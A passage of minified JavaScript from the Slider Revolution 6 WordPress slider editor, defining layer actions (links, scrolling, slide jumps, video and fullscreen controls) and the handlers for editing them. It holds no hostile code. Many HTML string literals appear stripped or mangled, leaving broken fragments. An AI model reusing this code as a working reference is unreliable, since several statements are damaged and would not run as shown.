#la_settings_link,#la_settings_scroll_under"},{val:"link",inputs:"#la_settings_link_url,#la_settings_link,#la_settings_link_type"},{val:"callback",inputs:"#la_settings_callback"},{val:"getAccelerationPermission",inputs:"#la_settings_getAccelerationPermissionk"},{val:"scrollto",inputs:"#la_settings_scroll_to,#la_settings_scroll_under"},{val:"scroll_under",inputs:"#la_settings_scroll_under"}]}),RVS.F.createActionGroup({icon:"code",id:"layeraction_group_slide",actions:[{val:"jumpto",inputs:"#la_settings_jumpto"},{val:"next"},{val:"prev"},{val:"pause"},{val:"resume"},{val:"toggle_slider"},{val:"close_modal"},{val:"open_modal",inputs:"#la_settings_modal"}]}),RVS.F.createActionGroup({icon:"layers",id:"layeraction_group_layer",actions:[{val:"start_in",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_in, #la_settings_childrentimelines",layerTarget:!0},{val:"start_out",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_out, #la_settings_childrentimelines",layerTarget:!0},{val:"start_frame",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_frame, #la_settings_childrentimelines",layerTarget:!0},{val:"next_frame",inputs:"#la_settings_layer_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"prev_frame",inputs:"#la_settings_layer_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"toggle_layer",inputs:"#la_settings_layer_actions, #la_settings_layer_toggle_actions, #la_settings_childrentimelines",layerTarget:!0},{val:"toggle_frames",inputs:"#la_settings_layer_actions, #la_settings_layer_actions_frameXY, #la_settings_childrentimelines",layerTarget:!0}]}),RVS.F.createActionGroup({icon:"videocam",id:"layeraction_group_media",actions:[{val:"start_video",layerTarget:!0,media:!0},{val:"stop_video",layerTarget:!0,media:!0},{val:"toggle_video",layerTarget:!0,media:!0},{val:"mute_video",layerTarget:!0,media:!0},{val:"unmute_video",layerTarget:!0,media:!0},{val:"toggle_mute_video",layerTarget:!0,media:!0},{val:"toggle_global_mute_video"}]}),RVS.F.createActionGroup({icon:"fullscreen",id:"layeraction_group_fullscreen",actions:[{val:"togglefullscreen"},{val:"gofullscreen"},{val:"exitfullscreen"}]}),RVS.F.createActionGroup({icon:"layers",id:"layeraction_group_layer",actions:[{val:"simulate_click",layerTarget:!0},{val:"toggle_class",inputs:"#la_settings_class",layerTarget:!0}]}),RVS.DOC.trigger("extendLayerActionGroups"),function(){RVS.DOC.on("openLayerActions",RVS.F.openLayerActions);RVS.DOC.on("updatePlayFrameXOnlyOnAction",RVS.F.updatePlayFrameXOnlyOnAction),RVS.DOC.on("click",".drop_dependencies",function(){jQuery("#layer_with_action_wrap").toggleClass("opendeps")}),RVS.DOC.on("click","#rbm_layer_action .rbm_close",function(){for(var e in jQuery("#rbm_layer_action").hasClass("inpickermode")?(jQuery("#rbm_layer_action").removeClass("inpickermode"),jQuery("#layeraction_list").hide(),jQuery("#layer_action_type").show()):(jQuery(".actionDependent").removeClass("actionDependent"),RVS.F.RSDialog.close()),RVS.L)RVS.L[e].actions&&RVS.L[e].actions.action.length>0?jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[e].uid).addClass("actionmarked"):jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[e].uid).removeClass("actionmarked");RVS.F.updateAllLayerFrames()}),RVS.DOC.on("click","#addactiontolayer",function(){return o("link"),!1}),RVS.F.cleanUpAllActions=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&cleanUpActions(e)},RVS.F.cleanUpActions=function(e){var t=[];if(void 0!==RVS.L[e].actions){for(var i in RVS.L[e].actions.action)null==RVS.L[e].actions.action[i].migrateMute&&null==RVS.L[e].actions.action[i].rsColorPicker&&null==RVS.L[e].actions.action[i].get&&t.push(RVS.L[e].actions.action[i]);RVS.L[e].actions=t}},RVS.F.updateDuplicatedLayerActionDependencies=function(e,t){var i,a,r,s=RVS.F.layerFrameTriggeredBy({all:!0,layerid:t,frame:"any"}),o=[],n=[];for(a in s)s.hasOwnProperty(a)&&void 0!==RVS.L[s[a].uid]&&-1===jQuery.inArray(""+s[a].uid,n)&&n.push(""+s[a].uid);for(a in n){for(r in o=[],RVS.L[n[a]].actions.action)RVS.L[n[a]].actions.action.hasOwnProperty(r)&&-1!=jQuery.inArray(RVS.L[n[a]].actions.action[r].action,RVS.LIB.ACTION_WITH_TRGT)&&""+RVS.L[n[a]].actions.action[r].layer_target==""+t&&((i=jQuery.extend(!0,{},RVS.L[n[a]].actions.action[r])).layer_target=""+e,o.push(i));if(o.length>0)for(r in o)o.hasOwnProperty(a)&&RVS.L[s[a].uid].actions.action.push(jQuery.extend(!0,{},o[r]))}},RVS.DOC.on("click",".duplicate_single_layer_action",function(){var e=jQuery(this).closest(".single_layer_action"),t=RVS.L[RVS.selLayers[0]].actions.action.length,i=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);return i.action.push(RVS.L[RVS.selLayers[0]].actions.action[e.index()]),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:i}),RVS.S.actionIdx=t,setTimeout(function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()},50),!1}),RVS.DOC.on("click",".delete_single_layer_action",function(){var e=jQuery(this).closest(".single_layer_action"),t=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);return t.action.splice(e.index(),1),RVS.S.actionIdx=0,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:t}),setTimeout(function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")},50),!1}),RVS.DOC.on("click","#layer_action_type",function(){jQuery("#rbm_layer_action").addClass("inpickermode"),jQuery("#layeraction_list").show(),jQuery(this).hide(),jQuery("#layeraction_list .lal_group_member").removeClass("selected"),jQuery("#layeraction_picker_"+RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action).addClass("selected")}),RVS.DOC.on("change","#action_interaction",function(){RVS.F.buildActionList()}),RVS.DOC.on("click",".lal_group_member",function(){jQuery("#rbm_layer_action").removeClass("inpickermode"),jQuery("#layer_action_type").show(),void 0===RVS.S.actionIdx||void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]?(o(this.dataset.val),jQuery("#action_inputs .la_settings").hide(),jQuery(RVS.LIB.ACTIONTYPES[this.dataset.val].inputs).show(),jQuery("#layeraction_list").hide()):(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions.action."+RVS.S.actionIdx+".action",val:this.dataset.val}),jQuery("#action_inputs .la_settings").hide(),jQuery(RVS.LIB.ACTIONTYPES[this.dataset.val].inputs).show(),jQuery("#layeraction_list").hide(),RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()),RVS.DOC.trigger("layer_action_selected")}),RVS.DOC.on("click",".single_layer_action",function(e){RVS.S.actionIdx=jQuery(this).index(),jQuery(".single_layer_action").removeClass("selected"),jQuery(this).addClass("selected"),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")}),RVS.DOC.on("click",".lal_group_header",function(){var e=jQuery(this).closest(".lal_group");e.toggleClass("closed")}),RVS.DOC.on("refreshActionView",function(){RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()}),RVS.DOC.on("refreshSlideLists",function(){RVS.F.refreshModalSlides()}),RVS.DOC.on("refreshLayerToggleState",function(){var e="string"==typeof RVS.S.actionTrgtLayerId&&RVS.S.actionTrgtLayerId.indexOf("static-")>=0,t="string"==typeof RVS.S.actionTrgtLayerId?RVS.S.actionTrgtLayerId.replace("static-",""):RVS.S.actionTrgtLayerId,i=e?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[t]:RVS.L[RVS.S.actionTrgtLayerId];"visible"==jQuery("#toggle_layer_type").val()?i.timeline.frames.frame_1.timeline.actionTriggered=!1:i.timeline.frames.frame_1.timeline.actionTriggered=!0,RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides()})}()},RVS.F.openLayerActions=function(){RVS.selLayers.length>0?(RVS.S.actionIdx=void 0,jQuery("#no_action_selected").show(),jQuery("#action_inputs, .la_settings").hide(),RVS.DOC.trigger("layerActionOpened"),RVS.F.initActionsOfLayers(),RVS.F.RSDialog.create({modalid:"rbm_layer_action",bgopacity:.5})):RVS.F.showInfo({content:RVS_LANG.noLayersSelected,type:"warning",showdelay:0,hidedelay:3,hideon:"",event:""})},RVS.F.selectLayerAction=function(){if(jQuery(".actionselected").removeClass("actionselected"),void 0===RVS.S.actionIdx||RVS.S.actionIdx<0||0==RVS.L[RVS.selLayers[0]].actions.action.length)return jQuery("#action_inputs, .la_settings").hide(),jQuery("#no_action_selected").show(),!1;var e;jQuery("#action_inputs").show(),jQuery(".la_settings, #no_action_selected").hide(),void 0!==RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action]&&jQuery(RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action].inputs).show(),void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target&&(RVS.S.actionTrgtLayerId=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target||"none"),jQuery.inArray(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,["scroll_under","scrollto"])>=0&&(void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_easing&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_easing="power1.inOut"),void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_speed&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_speed="1000ms")),"link"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&("column"===RVS.L[RVS.selLayers[0]].type||"row"===RVS.L[RVS.selLayers[0]].type||"group"===RVS.L[RVS.selLayers[0]].type?RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type="jquery":void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type="a")),jQuery.inArray(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,["start_in","start_out","start_frame","next_frame","prev_frame","toggle_layer","toggle_frames"])>=0&&void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].updateChildren&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].updateChildren=!0),void 0!==RVS.S.actionTrgtLayerId&&((""+RVS.S.actionTrgtLayerId).indexOf("static-")>=0&&void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId].layers?e=RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[(""+RVS.S.actionTrgtLayerId).replace("static-","")]:void 0!==RVS.L[RVS.S.actionTrgtLayerId]&&(e=RVS.L[RVS.S.actionTrgtLayerId],RVS.H[RVS.S.actionTrgtLayerId].w.addClass("actionselected")),void 0!==e&&(RVS.F.checkToggleLayerType(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx],e,2),jQuery("#overtake_frame_1_control")[0].checked=e.timeline.frames.frame_1.timeline.actionTriggered,jQuery("#overtake_frame_999_control")[0].checked=e.timeline.frames.frame_999.timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_1_control")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_999_control")}),jQuery("#la_triggerMemory").val(e.actions.triggerMemory).ddTP("change"),RVS.F.updatePlayFrameXOnlyOnAction(null,"X"),RVS.F.updatePlayFrameXOnlyOnAction(null,"N"),RVS.F.updatePlayFrameXOnlyOnAction(null,"M"))),RVS.F.updateEasyInputs({container:jQuery("#rbm_layer_action"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"}),RVS.F.upadteLayerTargetDropDowns({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,targetid:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target}),RVS.F.updateSlideList({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,targetid:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].jump_to_slide}),RVS.F.updateLinkTypes({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,linktype:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type}),jQuery("#layer_action_fake").html(RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action].name)},RVS.F.updateReferencigToggleLayerType=function(){for(var e in RVS.L)if(RVS.L[e].actions&&RVS.L[e].actions.action.length>0)for(var t in RVS.L[e].actions.action)if(RVS.L[e].actions.action.hasOwnProperty(t)){var i=RVS.L[e].actions.action[t];"toggle_layer"===i.action&&((""+i.layer_target).indexOf("static-")>=0&&void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId].layers?RVS.F.checkToggleLayerType(i,RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[(""+i.layer_target).replace("static-","")],1):void 0!==RVS.L[i.layer_target]&&RVS.F.checkToggleLayerType(i,RVS.L[i.layer_target],1))}},RVS.F.checkToggleLayerType=function(e,t,i){return void 0!==t&&"toggle_layer"===e.action&&(void 0!==t.timeline.frames.frame_1.timeline.actionTriggered&&1==i?e.toggle_layer_type=t.timeline.frames.frame_1.timeline.actionTriggered?"hidden":"visible":"visible"===e.toggle_layer_type?t.timeline.frames.frame_1.timeline.actionTriggered=!1:t.timeline.frames.frame_1.timeline.actionTriggered=!0,t.timeline.frames.frame_999.timeline.actionTriggered=!0),e},RVS.F.layerFrameTriggered=function(e){var t=parseInt(e.layerid,0);return RVS.L[t].timeline.frames[e.frame].timeline.actionTriggered},RVS.F.layerFrameTriggeredBy=function(e){for(var a=parseInt(e.layerid,0),r=[],s=(""+RVS.S.slideId).indexOf("static")>=0,o=null==e.src&&s?RVS.SLIDER.slideIDs.length-1:-1,n=!1;!n;){var l=void 0===e.src?-1===o?RVS.L:RVS.SLIDER[RVS.SLIDER.slideIDs[o]].layers:e.src;for(var d in l)if(!(void 0===e.all&&r.length>0)&&l.hasOwnProperty(d)&&void 0!==l[d].actions){for(var S in l[d].actions.action)void 0===e.all&&r.length>0||!l[d].actions.action.hasOwnProperty(S)||void 0===l[d].actions.action[S].layer_target||void 0!==l[d].actions.action[S].ajaxSettings||void 0!==l[d].actions.action[S].fn||void 0!==l[d].actions.action[S].guid||void 0!==l[d].actions.action[S].lastModified||t(s,l[d].actions.action[S].layer_target,a,o)&&i(l[d].actions.action[S],e.frame)&&r.push({icon:RVS.F.getLayerIcon(l[d].linebreak?"linebreak":l[d].type,l[d].subtype),action:l[d].actions.action[S].action,uid:parseInt(l[d].uid,0),alias:l[d].alias,slide:void 0===e.src&&-1!==o?RVS.SLIDER.slideIDs[o]:RVS.S.slideId});if(void 0!==l[d].actions.inactive_actions)for(var S in l[d].actions.inactive_actions)void 0===e.all&&r.length>0||!l[d].actions.inactive_actions.hasOwnProperty(S)||void 0===l[d].actions.inactive_actions[S].layer_target||void 0!==l[d].actions.inactive_actions[S].ajaxSettings||void 0!==l[d].actions.inactive_actions[S].fn||void 0!==l[d].actions.inactive_actions[S].guid||void 0!==l[d].actions.inactive_actions[S].lastModified||t(s,l[d].actions.inactive_actions[S].layer_target,a,o)&&i(l[d].actions.inactive_actions[S],e.frame)&&r.push({icon:RVS.F.getLayerIcon(l[d].linebreak?"linebreak":l[d].type,l[d].subtype),action:l[d].actions.inactive_actions[S].action,uid:parseInt(l[d].uid,0),alias:l[d].alias,slide:void 0===e.src&&-1!==o?RVS.SLIDER.slideIDs[o]:RVS.S.slideId})}n=--o<0}return 0===r.length&&r.push({uid:"",alias:""}),e.all?r:r[0]},RVS.F.updateLayerToggleActionWaits=function(){var e=void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers:void 0;for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].actions)for(var i in RVS.L[t].actions.action)if(RVS.L[t].actions.action.hasOwnProperty(i)&&void 0!==RVS.L[t].actions.action[i].layer_target&&"toggle_layer"===RVS.L[t].actions.action[i].action){var a=RVS.L[t].actions.action[i].layer_target,r=void 0!==e&&(""+a).indexOf("static-")>=0;if(a=r?a.replace("static-",""):a,r&&void 0!==e[a]||!r&&void 0!==RVS.L[a]){var s=!("visible"===RVS.L[t].actions.action[i].toggle_layer_type);r?(e[a].timeline.frames.frame_1.timeline.actionTriggered=s,e[a].timeline.frames.frame_999.timeline.actionTriggered=!0):(RVS.L[a].timeline.frames.frame_1.timeline.actionTriggered=s,RVS.L[a].timeline.frames.frame_999.timeline.actionTriggered=!0)}}RVS.F.updateAllLayerFrames()},RVS.F.initActionsOfLayers=function(){var e=RVS.L[RVS.selLayers[0]],t=jQuery("#layer_depending_wrap"),i=RVS.F.layerFrameTriggeredBy({all:!0,layerid:RVS.selLayers[0],frame:"any"}),a=''+RVS.F.getLayerIcon(e.linebreak?"linebreak":e.type,e.subtype)+''+e.alias+"";for(var r in t[0].innerHTML="",jQuery("#layer_with_action_wrap").removeClass("opendeps"),i.length>0&&(a+=''+RVS_LANG.triggeredby+'arrow_drop_up'),i)i.hasOwnProperty(r)&&void 0!==i[r].uid&&void 0!==i[r].action&&t.append('
  • '+i[r].icon+''+i[r].alias+(i[r].slide!==RVS.S.slideId?" ("+i[r].slide+")":"")+''+RVS_LANG["layeraction_"+i[r].action]+"
  • ");document.getElementById("add_action_to_layername").innerHTML=e.alias,document.getElementById("layer_with_action").innerHTML=a,RVS.F.updateEasyInputs({container:jQuery("#layer_width_action_inner_wrap"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"}),jQuery("#rbm_layer_action .tos2, #rbm_layer_action .slideinput, #rbm_layer_action .sliderinput").trigger("init"),RVS.F.buildActionList()},RVS.F.updateTriggeringActionRelations=function(e){var t=RVS.F.layerFrameTriggeredBy({all:!0,layerid:e,frame:"any"});for(var i in t)t.hasOwnProperty(i)&&void 0!==t[i].uid&&void 0!==t[i].action&&RVS.F.checkActionRelations(t[i].uid)},RVS.F.checkActionRelations=function(e){var t=RVS.L[e];if(void 0!==t){t.actions.inactive_actions=t.actions.inactive_actions||[];var i=[...t.actions.action,...t.actions.inactive_actions],a=[],r=[];for(var o in i)if(i.hasOwnProperty(o)){"backgroundvideo"!==i[o].layer_target&&"firstvideo"!==i[o].layer_target||"toggle_layer"===i[o].action&&(i[o].action="toggle_video");var n=s(i[o]),l=!1;-1!=n.targetid&&(void 0!==RVS.SLIDER[n.slideid].layers[n.targetid]||"backgroundvideo"===i[o].layer_target||"firstvideo"===i[o].layer_target||(l=!0)),l?r.push(i[o]):a.push(i[o])}t.actions.action=a.slice(0),t.actions.inactive_actions=r.slice(0)}},RVS.F.buildActionList=function(){var e=jQuery("#selected_layer_actions"),t=RVS.L[RVS.selLayers[0]];for(var i in RVS.F.checkActionRelations(RVS.selLayers[0]),jQuery(".actionDependent").removeClass("actionDependent"),jQuery(".actionselected").removeClass("actionselected"),e[0].innerHTML="",t.actions.action)if(t.actions.action.hasOwnProperty(i)){var a='
  • ',r=s(t.actions.action[i]);if(a+=''+RVS_LANG["layerevent_"+t.actions.action[i].tooltip_event]+"",-1!=r.targetid)if(void 0!==RVS.SLIDER[r.slideid].layers[r.targetid]&&void 0!==r.slideid){var o=(""+r.slideid).indexOf("static")>=0;a+=''+RVS.F.getLayerIcon(RVS.SLIDER[r.slideid].layers[r.targetid].linebreak?"linebreak":RVS.SLIDER[r.slideid].layers[r.targetid].type,RVS.SLIDER[r.slideid].layers[r.targetid].subtype)+''+RVS.SLIDER[r.slideid].layers[r.targetid].alias+(o?"(S)":"")+"",o||RVS.H[r.targetid].w.addClass("actionDependent")}else"backgroundvideo"===t.actions.action[i].layer_target||"firstvideo"===t.actions.action[i].layer_target?a+='videocam'+RVS_LANG[t.actions.action[i].layer_target]+"":a+='error_outline'+RVS_LANG.noLayersSelected+"";else void 0!==RVS.LIB.ACTIONTYPES[t.actions.action[i].action]?a+=''+RVS.LIB.ACTIONTYPES[t.actions.action[i].action].icon+'':a+='extension';void 0!==RVS.LIB.ACTIONTYPES[t.actions.action[i].action]&&void 0!==RVS_LANG["layeraction_"+t.actions.action[i].action]?a+=''+RVS_LANG["layeraction_"+t.actions.action[i].action]+"":a+=''+t.actions.action[i].action+"",a+='
    content_copydelete_forever
    ',a+="
  • ",e.append(a)}0===t.actions.action.length?(jQuery("#layeraction_list").show(),jQuery("#selected_layer_actions").hide(),jQuery("#addactiontolayer").hide()):(jQuery("#layeraction_list").hide(),jQuery("#selected_layer_actions").show(),jQuery("#addactiontolayer").show()),jQuery("#layeraction_list").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}),jQuery("#layeractions_overview_innerwrap").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100})},RVS.F.refreshModalSlides=function(){if(RVS.L[RVS.selLayers[0]].actions.action.length&&"open_modal"==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodal){var e=function(e){var t=!1;for(var i in RVS.LIB.SLIDERS)!1===t&&RVS.LIB.SLIDERS[i].alias===e&&(t=RVS.LIB.SLIDERS[i].id);return t}(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodal);if(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodalId=e,!1===e)return;var t="";RVS.F.ajaxRequest("get_slides_by_slider_id",{id:e},function(e){if(e.success){var i=0;for(var a in e.slides)i++,t+='";var r=jQuery("#la_open_modalslide");r[0].innerHTML=t,void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].modalslide&&(r[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].modalslide),r.ddTP({placeholder:"Select From List"}),RVS.F.updateEasyInputs({container:jQuery("#rbm_layer_action"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"})}})}},RVS.F.refreshFrameLists=function(){for(var t in e){if(void 0===RVS.S.actionTrgtLayerId)return;var i="string"==typeof RVS.S.actionTrgtLayerId&&RVS.S.actionTrgtLayerId.indexOf("static-")>=0,a="string"==typeof RVS.S.actionTrgtLayerId?RVS.S.actionTrgtLayerId.replace("static-",""):RVS.S.actionTrgtLayerId,r=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[a]:RVS.L[RVS.S.actionTrgtLayerId],s="",o=jQuery("#la_gotoframe"+e[t]);if(void 0===r||NaN===r)return;var n=r.timeline.frameOrder,l=r.timeline.frames;for(var d in s+='",n)if(n.hasOwnProperty(d)){var S=n[d].id;"frame_0"!==S&&"frame_1"!==S&&"frame_999"!==S&&(s+='")}s+='",o[0].innerHTML=s,RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]&&void 0!==l[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]]?o[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]:(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]="frame_1",o[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]),o.ddTP({placeholder:"Select From List"}),RVS.F.updatePlayFrameXOnlyOnAction(null,e[t])}},RVS.F.updatePlayFrameXOnlyOnAction=function(e,t){if(t=void 0===t?"X":"object"==typeof t?t.eventparam:t,void 0!==RVS.S.actionTrgtLayerId){var i="string"==typeof RVS.S.actionTrgtLayerId&&RVS.S.actionTrgtLayerId.indexOf("static-")>=0,a="string"==typeof RVS.S.actionTrgtLayerId?RVS.S.actionTrgtLayerId.replace("static-",""):RVS.S.actionTrgtLayerId,r=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[a]:RVS.L[RVS.S.actionTrgtLayerId],s=document.getElementById("overtake_frame"+t+"_control"),o=r.timeline.frames,n=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("N"===t||"M"===t?t:"")];n&&void 0!==o[n]&&(s.dataset.r="timeline.frames."+n+".timeline.actionTriggered",s.checked=r.timeline.frames[n].timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:s}))}},RVS.F.upadteLayerTargetDropDowns=function(e){e.select=void 0!==e.select?e.select:jQuery("#la_layer_target"),e.showmedia=void 0!==e.showmedia?e.showmedia:null!=e.action&&void 0!==RVS.LIB.ACTIONTYPES[e.action]&&RVS.LIB.ACTIONTYPES[e.action].media;var t,i="";e.addNone&&(i+='"),e.showmedia&&(i+='",i+='"),""!==(t=r("-1",0,!1,e.showmedia))&&void 0!==t&&(i+=''+t+""),e.ignorestatic||-1!==(""+RVS.S.slideId).indexOf("static_")||void 0===RVS.SLIDER.staticSlideId||void 0===RVS.SLIDER[RVS.SLIDER.staticSlideId]||""!==(t=r("-1",0,!0,e.showmedia))&&void 0!==t&&(i+=''+t+""),e.select[0].innerHTML=i,e.select.val(e.targetid).ddTP("rebuild",{pre:'#data#',preDatas:{data:"icon",style:"style"}}),null!=e.action&&void 0!==e.targetid&&void 0!==RVS.L[e.targetid]&&(jQuery.inArray(RVS.L[e.targetid].type,["group","row","column"])>=0&&jQuery.inArray(e.action,["start_in","start_out","start_frame","next_frame","prev_frame","toggle_layer","toggle_frames"])>=0?jQuery("#la_settings_childrentimelines").show():jQuery("#la_settings_childrentimelines").hide())},RVS.F.updateLinkTypes=function(e){var t=jQuery("#la_link_type");t[0].innerHTML="",t.append('"),-1==jQuery.inArray(RVS.L[RVS.selLayers[0]].type,["group","column","row"])&&t.append('"),t.val(e.linktype).ddTP("change").ddTP({})},RVS.F.createActionGroup=function(e){let t=document.getElementById(e.id),i=null!==t;if(e.title=void 0===RVS_LANG[e.id]?e.title?e.title:e.id:RVS_LANG[e.id],!i){t=RVS.F.cE({cN:"lal_group",id:e.id});let i=RVS.F.cE({cN:"lal_group_header"});i.textContent=e.title;let a=RVS.F.cI({c:e.icon});i.prepend(a),i.appendChild(RVS.F.cI({cN:"accordiondrop",c:"arrow_drop_down"})),t.appendChild(i)}for(var a in e.actions){if(!e.actions.hasOwnProperty(a))continue;let i=e.actions[a];void 0!==i.alias&&(RVS_LANG["layeraction_"+i.val]=i.alias);let r=void 0!==i.title?i.title:void 0===RVS_LANG["layeraction_"+i.val]?i.val:RVS_LANG["layeraction_"+i.val];i.inputs=void 0===i.inputs?"":i.inputs,i.inputs=!0===i.layerTarget?"#la_settings_layertarget"+(i.inputs.length>0?", "+i.inputs:""):i.inputs;let s=RVS.F.cE({cN:"lal_group_member",id:"layeraction_picker_"+i.val,ds:{val:i.val,inputs:i.inputs}});RVS.F.cI({c:e.icon});s.prepend(RVS.F.cI({c:e.icon})),s.textContent=r,t.appendChild(s),i.layerTarget&&RVS.LIB.ACTION_WITH_TRGT.push(i.val),RVS.LIB.ACTIONTYPES[i.val]={inputs:i.inputs,name:r,icon:e.icon,layerTarget:i.layerTarget,media:i.media}}i||document.getElementById("layeraction_list").appendChild(t)},RVS.F.updateSlideList=function(e){var t=jQuery("#la_jump_to_slide"),i='";i+='",i+='","next"===e.targetid&&(i+='"),"previous"===e.targetid&&(i+='");var a=0;for(var r in RVS.SLIDER.slideIDs)if(RVS.SLIDER.slideIDs.hasOwnProperty(r)){var s=RVS.SLIDER.slideIDs[r]+"";-1===s.indexOf("static_")&&(i+="")}t[0].innerHTML=i,t.val(e.targetid).ddTP("change").ddTP({})}}(), /*! * REVOLUTION 6.0.0 EDITOR LAYERLIST JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ function(){var e,t=[],i={};function a(e,t){for(var i in e=function(e){var t,i=[],a=!1;for(var r in RVS.L)RVS.L.hasOwnProperty(r)&&""+RVS.L[r].group.puid==""+e&&i.push({id:RVS.L[r].uid,sort:RVS.L[r].group.groupOrder,zIndex:RVS.L[r].position.zIndex,type:RVS.L[r].type,alias:RVS.L[r].alias});for(var s in i)0!=i[s].sort&&"0"!=i[s].sort||(void 0===t?t=s:(i[s].sort=i[s].zIndex,a=!0));a&&(i[t].sort=i[t].zIndex);"top"===e||"bottom"===e||"middle"===e?i.sort(function(e,t){return e.sort-t.sort}):-1===e||"group"===RVS.L[e].type?i.sort(function(e,t){return t.sort-e.sort}):i.sort(function(e,t){return e.sort-t.sort});return i}(t))e.hasOwnProperty(i)&&("zone"!==e[i].type&&"row"!==e[i].type&&"column"!==e[i].type&&"group"!==e[i].type||(e[i].list=a(e,e[i].id)));return e}function r(e,t){let 